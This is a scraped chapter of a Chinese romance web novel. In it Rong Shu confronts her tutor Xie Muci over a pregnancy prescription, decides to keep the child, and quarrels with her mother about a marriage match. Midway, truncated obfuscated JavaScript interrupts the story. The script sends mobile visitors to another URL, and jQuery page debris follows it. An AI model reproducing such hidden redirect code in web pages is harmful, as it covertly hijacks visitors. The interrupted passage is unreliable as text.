默认冷灰
24号文字
方正启体

20. 质问

作者:莲池沐客本书字数:K更新时间:
    容姝立下捂住耳朵,提声道:“你把门打开,我就不踩你!”


    蒋元齐哪会认这个输,直接抬起自己另一只脚,摞到容姝藕色绣鞋上,嘴里叫唤着:“来啊,谁怕谁!”


    容姝垂眸看俩人三足紧紧踩在一起,瞬间惊呆了,“我不信你是谢慕辞的弟弟,除非你证明给我看。”


    谢慕辞那般清风朗月的神仙人物,怎会有这种比容昭还混账的弟弟……


    “先生都不唤了,直接称谢某名讳,容二娘子就是这么读书的?”


    容姝一心与蒋元齐对峙,完全没注意到谢慕辞是何时站到了她身后。


    “表兄,快快快,你快告诉她我是不是你弟弟!”蒋元齐从门缝里朝谢慕辞大声叫唤。


    “不是。”谢慕辞淡然开口。


    “你!”蒋元齐气得脚下一使劲,一个没站稳,身体向后倾去。


    骤然失力,容姝也是一踉跄,身子一歪,眼看着就要摔倒。


    “啊!”她双手下意识护住肚子。


    预想中的疼痛没有到来,一只劲瘦有力的胳膊横在她腰间,伴随而来的是沉郁好闻的淡淡药香,那人稍稍使劲便轻松将她扶稳了。


    那边,蒋元齐的疼痛却如期而至,他凄惨地倒在地上,捂住尾椎使劲叫唤,一气之下奋力爬了起来,“啪”地一声将大门阖上,顺便落了栓子。


    谢慕辞:“……”


    容姝目无表情地拨开他的手,调整好身姿,正色道:“我有事与你说。”


    谢慕辞不动声色地收回手,淡然立于檐下,玄青色的袍子似与灰墨夜色融为一体。


    她还从未见过他穿如此深的颜色,比起他平常穿得那些浅色,勾勒得身形更加挺拔如竹,点漆眸子在昏黄檐灯照射下,晦暗不明,窥探不出一丝情绪。


    “何事?”依旧是那波澜不惊的语气。


    容姝对上他的眸子,开门见山道:“为何骗我?你写得明明是安胎的方子。”


    “谢某从未说过那是落胎的方子。”


    “可你知道我误会了,却没有解释。还有,那日你摸了我的脉,为何不告诉我孩子还在?是想看我笑话吗?”容姝盯着他声声质问。


    “容二娘子,你是在为你自己的莽撞无知来诘问谢某吗?私以为,谢某没有这个义务告知容二娘子。”谢慕辞眸色冷了几分。


    容姝往后推了一步,“那你可知,我因为落胎自责了好久,今日不小心摔了一跤,去找大夫才知原来孩子一直都还在……”


    小娘子声音哑涩颤抖,不似往日那般甜腻,眸子里浸满了委屈。


    谢慕辞默了几瞬才道:“这些话,你该去跟腹中孩子的父亲说。”


    容姝垂下头,又往后退了一步,蚊子般哼道:“我不正在和你说嘛。”


    “嗯?”谢慕辞挑眉,完全听不出她垂着头在说什么。


    “没什么。”容姝又抬头看他,双手攥着裙摆,眸光雾蒙蒙的,语气软了下来:“大夫说孩子可能会保不住,先生,我现在不知道该怎么办了。”


    来找他之前的气愤,此刻都化作茫然和期许,她此刻迫切得希望有一个人告诉她前路该怎么走。


    不等谢慕辞抬手,容姝已经乖乖地将自己的手腕伸了过去,清凉有力的指尖轻轻搭在她脉搏上,似乎跳得又快了些。


    “确是落胎之相。”谢慕辞收回手,语气平淡的问:“这个孩子你要还是不要?”


    “我不知道。”容姝摇了摇头,“我害怕,却又不舍得。”


    先前误以为的落胎,她面上若无其事,其实心里难过自责了好久。时常梦中惊醒,梦见有个小娃娃哭喊着叫她娘亲,所以这段时候神思倦怠,胃口不济,清瘦了好些。


    谢慕辞颔首,似是听明白了她的心思,“你该去与这个孩子的父亲商议,闺中生子并非易事。”


    “孩子父亲不知道此事,他不喜欢我,亦不会娶我,我更不能说。”容姝可怜兮兮地看着谢慕辞,说得颇为委屈。


    谢慕辞眉心一跳,一时间想不出该如何作答。


    两人就这样,在门口站了许久。


    最终,谢慕辞开口:“不如容二娘子还是弃了这孩子吧。”


    “不行,不可以!”容姝眸光一震,拒绝之词说得铿锵有力。


    “所以,你心中早已经有答案了不是吗?何需来问谢某。”


    容姝立下一愣,原来如此,她内心最深处是渴望留下这个孩子的,是不愿意轻易割舍的。


    “我明白了,我会生下他,不管遇到什么困难都不再轻言放弃。”容姝摸着自己微微鼓起的肚子,郑重道。


    这是她和谢慕辞共同的骨血,是她人生中第一场绮丽梦开出的果实,是和她有着紧密联系的骨肉至亲,她不该抛下他。


    谢慕辞将她的倔强和执拗都看在眼里,“你若坚持如是,我便为你开个保胎的方子,能保此胎安然降生。”


    容姝点头致谢,“多谢先生。”


    “夜急风高,我令人送你回去,既然决定好做母亲,不可再鲁莽行事。”谢慕辞拿出做先生的姿态,又耐心嘱咐了几句。


    他以为经过两个月的冷静,容姝已经放下了对自己的迷恋,今夜对话不免卸下了些防备。


    不曾想,某人贼心不死,防不胜防。


    容姝默在原处不动,支支吾吾问出一句:“先生,你可以娶我吗?”


    她乖乖站在原处,仰着一张小脸,问得很是小心翼翼。


    虽然她知道谢慕辞不会娶自己,可万一呢?总要问明白才好死心不是。


    谢慕辞眉心跳得厉害,一种无力感爬上心头。她怀着不知名的孩子,大言不惭地问自己的先生可不可以娶她,这种厚颜无耻的话到底是怎么问出口的……


    “谢某此生未有娶妻打算,容二娘子请回吧。”谢慕辞招呼来车夫,令他赶紧将人送走,实在瞧着心烦。


    容姝知他这句话是打发自己的托词,便换了一种问法,“先生,那我腹中孩儿将来可以认你作父亲吗?”


    “先生博古通今,学有大成,定然会是个好父亲。”


    “……”这下,谢慕辞彻底破防了,厉声道:“送客!”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058363|194932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >容姝缩了下脖子,不情愿地随车夫上了谢府马车,嘴里小声嘟囔着:“凶什么凶,本就是你的孩子。”


    “宝宝,以后长大了可不要学你父亲,冷冰冰,凶巴巴,一点都不可爱。”容姝摸着自己的肚皮细心教育。


    容姝前脚刚走,大门后脚就被打开,蒋元齐吊着个嗓门问:“表兄,你们什么时候有的孩子?”


    “她居然真的是我嫂嫂!”


    谢慕辞眉心又是一跳,冷睨着他,淡道:“滚——”


    -


    自从容姝决定生下这个孩子,她行动上再不敢像往日那般跳脱,四处留心生怕自己一个不小心磕着碰着。


    谢慕辞开的保胎药很管用,才吃了几日便觉身子轻快不少,孩子又生龙活虎地躺回她肚子里,她总算是安下了心。


    眼见日子一天天过去,她四个月的腰身快藏不住了,容姝又开始焦急起来,她必须得想个法子出京躲一段时日。


    这日,她正躺在屋子里休息,骆静华却忽然来了。


    她皱着眉盯着容姝倚在小榻上的惫懒模样,开口就是教训之言:“前些日子我瞧你对学习之事颇为上心,只当是祖坟冒青烟,你个顽劣子终于开窍了,没曾想不过几日,便又回到从前的混账模样。”


    “母亲教训的是。”容姝起身行了个礼,将骆静华迎入上座。


    骆静华仔细打量她,“你是不是又偷吃了?我瞧你这腰身又圆了不少。”


    容姝赶紧抬臂遮了些肚子,尬笑着解释:“没有,就是天气凉了,我怕冷多加了件衣裳。”


    “你入宫学习已有数月,可有收获?”


    容姝明白她的言外之意,只说:“圣华殿规矩多,郎君和女娘不在一块授课,我成日陪着四公主,哪敢起旁的心事。”


    骆静华冷哼一声,“原也是不能指望你这根朽木,要是玥儿能健健康康的就好了。昨个王婆子传信,说是宋家六郎想与你再见上一面。”


    “宋六郎?之前他母亲不是没看上我,此事不就不了了之了吗?”


    “许是与旁的娘子又相看了些时日,没找到合意的,便又想到你这处。宋家虽不比不上京中三大世家,却也是四大望族之首,背后依仗着裴家,前途不可限量。你可明白我的意思?”骆静华眸光犀利,语气不容置喙。


    “我不中意他。”容姝直接拒绝。


    骆静华立下拍桌,“婚姻之事父母之命,媒妁之言,岂容你不中意?从前他们宋家看不上咱们就罢了,如今你身为四公主伴读,又结识无数大熙贵女,嫁过去他们自然不会怠慢你。”


    “母亲可知宋六郎真实品行如何?可知他有何不良嗜好?又有哪些缺憾?都是一概不知,就要这么将我打发给他吗?”容姝被她说得有些烦躁和生气,径直质问出来。


    “我看你真是昏了头,不知好歹,不知天高天厚!”


    容姝索性撕破脸:“就因为我不是母亲的亲生孩子,所以我的喜怒和想法都不重要,母亲只想要一件称心如意可随意操纵的工具。”


    “啪——”一记响亮的巴掌落下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)